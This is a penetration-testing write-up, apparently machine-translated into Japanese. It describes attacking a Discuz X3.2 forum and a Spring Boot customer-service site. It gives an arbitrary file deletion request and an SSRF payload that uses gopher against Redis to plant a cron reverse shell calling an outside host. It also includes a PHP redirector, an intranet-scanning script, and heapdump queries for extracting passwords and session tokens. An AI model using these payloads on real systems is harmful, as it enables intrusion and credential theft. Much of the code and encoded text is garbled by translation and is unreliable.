メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。
フォーラムはディスクです! x3.2
Discuz緊急治療室が見つかりました。
admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。
《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。
まず、ファイルを削除します。
post /home.php?mod=spacecpac=profileop=base
birthprovince=./././info.php
次に、ファイルを投稿してinfo.phpを削除します
format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。
もう一度SSRFを見てみましょう。
/forum.php?mod=ajaxaction=downRemoteimgmessage=
これは、反響せず、時間遅延によってのみ判断することができるSSRFです。
1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。
2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。
第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。
最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。
163.*。 *.35.bc.googleusercontent.com(35。*。*。163)
その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)
GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。
最初に、クリアSSRF攻撃ペイロードを参照してください
/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png
次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。
/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%31%25%37%37% 31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png [/img] formhash=017b5107
しかし、ペイロードは、Discuzが提供するXSSおよびSQLインジェクション保護によって傍受されたことがわかりました。
したがって、ペイロードはVPSでのみ記述できます。
?php
$ ip=$ _ get ['ip'];
$ port=$ _ get ['port'];
$ scheme=$ _ get ['s'];
$ data='_ flushall%0d%0aconfigset dir/var/spool/cron/%0d%0aconfig set dbfilename root% /566701 \ n \ n '%0d%0asave%0d%0aquit%0d%0aquit%0d%0a';
Header( 'Location: $ scheme: //$ ip: $ port/$ data');
VPSのRedisを成功させることができる/forum.php?mod=ajaxaction=downremoteimgmessage=[img=1,1] http://62.1.1.1/302.php?s=gopher%26IP=62.1.1.1.1.1.1 %26ポート=637999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999」
問題ない。ただし、実際の環境では使用率が失敗しました。その理由は不確実であり、Redisがない、Redis許可の不足、またはパスワードがあることが可能です。
イントラネットを検出するためにスクリプトを書き始めましたが、あまり希望がありませんでした。 Google Cloudであり、必ずしもイントラネットを持っているわけではありません。
すべてのイントラネットIPSのIP辞書が作成されています
f=open( 'ip.txt'、 'w')
f.write( '127.0.0.1')
f.write( 'localhost')
範囲のI(1,256):
ip='192.168。'+str(i)+'。1'
F.Write(IP)
範囲(16,32):のIの場合
IIインロン(1,256):の場合
ip='172。'+str(i)+'。'+str(ii)+'。1'
F.Write(IP)
範囲のI(1,256):
IIインロン(1,256):の場合
ip='10。 '+str(i)+'。 '+str(ii)+'。1 '
F.Write(IP)
f.close()
次に、時間遅延を使用してイントラネットIPセグメントを見つけます。ここでは、IPブロッキングの遅延は7秒以上であるため、複数のスレッドを使用して完了する必要があります。 IPのプロトコルがあるかどうかを検出しても問題ないため、Gopherを使用してRedisのペイロードを直接攻撃するだけです。
リクエストシムポートスレッディングDEF SSRF(i): url=をインポートします'https://x.com/forum.php?mod=ajaxaction=downRemoteimgmessage={'user-agent':'mozilla/5.0(Windows nt 6.1; win64; x64; rv336079.0)gecko/20100101 firefox/79.0'、 'Accept':itext/html、application/xhtml+xml 'Accept-Language':' zh-cn、zh; q=0.8、zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2 '、' accept-encoding': 'gzip、deflate'、 'connection'、 'cookie={'PNUE_2132_SALTKEY':'VX3WOD3T'、 'PNUE_2132_AUTH':'8B46%2F9AD2X2XYFYESVQ aytdhs%2fvwrzigqlwce3iar6aiwux8ragrp%2bgrkmv39ylno2gaifhep01aghxapi0ocyxirnkx '} r=requests.get(url、cookie=cookie、headers=header、aople_redirects=false)r.elapsed.total_seconds()6: timeout=str(i)+'port3360'+str(r.elapsed.total_seconds())他の:タイムアウト=印刷str(i)+'port3360'+str(r.elapsed.total_seconds())fo=open( 'openip.txt'、 'a') threading.thread(target=ssrf、args=(i、)))name.append(th)th.start()for th inaname: th.join()folist=open( 'ip.txt'、 'r')list=[] flag=0 for i infolist.readlines(): i=i.Replace( '' ') list.append(i)flag=flag+1 else:スレッド(リスト)フラグ=0 list=[]オープンゲートウェイのみが見つかります172.30.2.1は、このゲートウェイでイントラネットIPを実行し、IP.TXTを置き換えます。
その結果、1日走った後、私は2つのイントラネットIPS、172.30.2.1と172.30.2.2のみを使い果たしました。確率は、172.30.2.2それ自体が、172.30.2.1がクラウドサーバーの仮想ゲートウェイであることです。
最後に、FTPプロトコルを使用してポートを実行し、スクリプトを自分で変更するだけです。
それらのほとんどは誤ったアラームであり、実際には2つのポート80と443のみを開くため、他のイントラネットIPが後で見つからない限り、SSRFは予想されません。
最後のUC_Serverブラストは、XFFヘッダーを変更してグラフィック検証コードを修正することであり、使用が失敗します。詳細については、https://www.freebuf.com/articles/web/197546.htmlを参照してください
フォーラムは終わりました。カスタマーサービスシステムの何が問題なのか見てみましょう。
/res/image.html?id=upload/6c825ed7ea4cd25657288888884f7d0227f
IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。
管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。
表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。
/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。
しかし、私は/heapdump.jsonからそれを試してみました
1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。
/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。
select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。
[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。
java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。
select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。
背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。
ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。
不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。
いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります
もちろん、以前にデータベース構成を取得します
Recommended Comments